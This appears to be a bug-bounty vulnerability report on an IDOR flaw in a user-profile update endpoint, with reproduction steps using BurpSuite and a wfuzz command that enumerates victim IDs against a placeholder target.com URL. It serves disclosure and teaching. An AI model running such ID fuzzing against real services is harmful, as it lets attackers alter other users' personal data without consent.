Broken Access Control: IDOR
Title : IDOR To Update Personal Data Of Other Users
Weakness : Broken Access Control - IDOR
Severity : Medium (4-6)
Impact : An Attacker Could Update Personal Data Of Other Users
Steps To Reproduce:
1. Register two accounts (attacker,victim)
2. Login to attacker account
3. Navigate to "User Profile" and update "Your personal data"
4. Click on the "save changes" button and capture the request on BurpSuite
5. Now change the Id parameter to victim id , and you successfully change victim personal data
Fuzzing Id Parameter:
└─$ wfuzz -d 'message={"Id":"FUZZ","username":"POC"}&token=ey...' -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -c -w ~/Desktop/fuzz-id.txt -u "https://www.target.com/xxx/updateUserProfile"
Reference:
1. https://portswigger.net/web-security/access-control/idor
2. https://owasp.org/Top10/A01_2021-Broken_Access_Control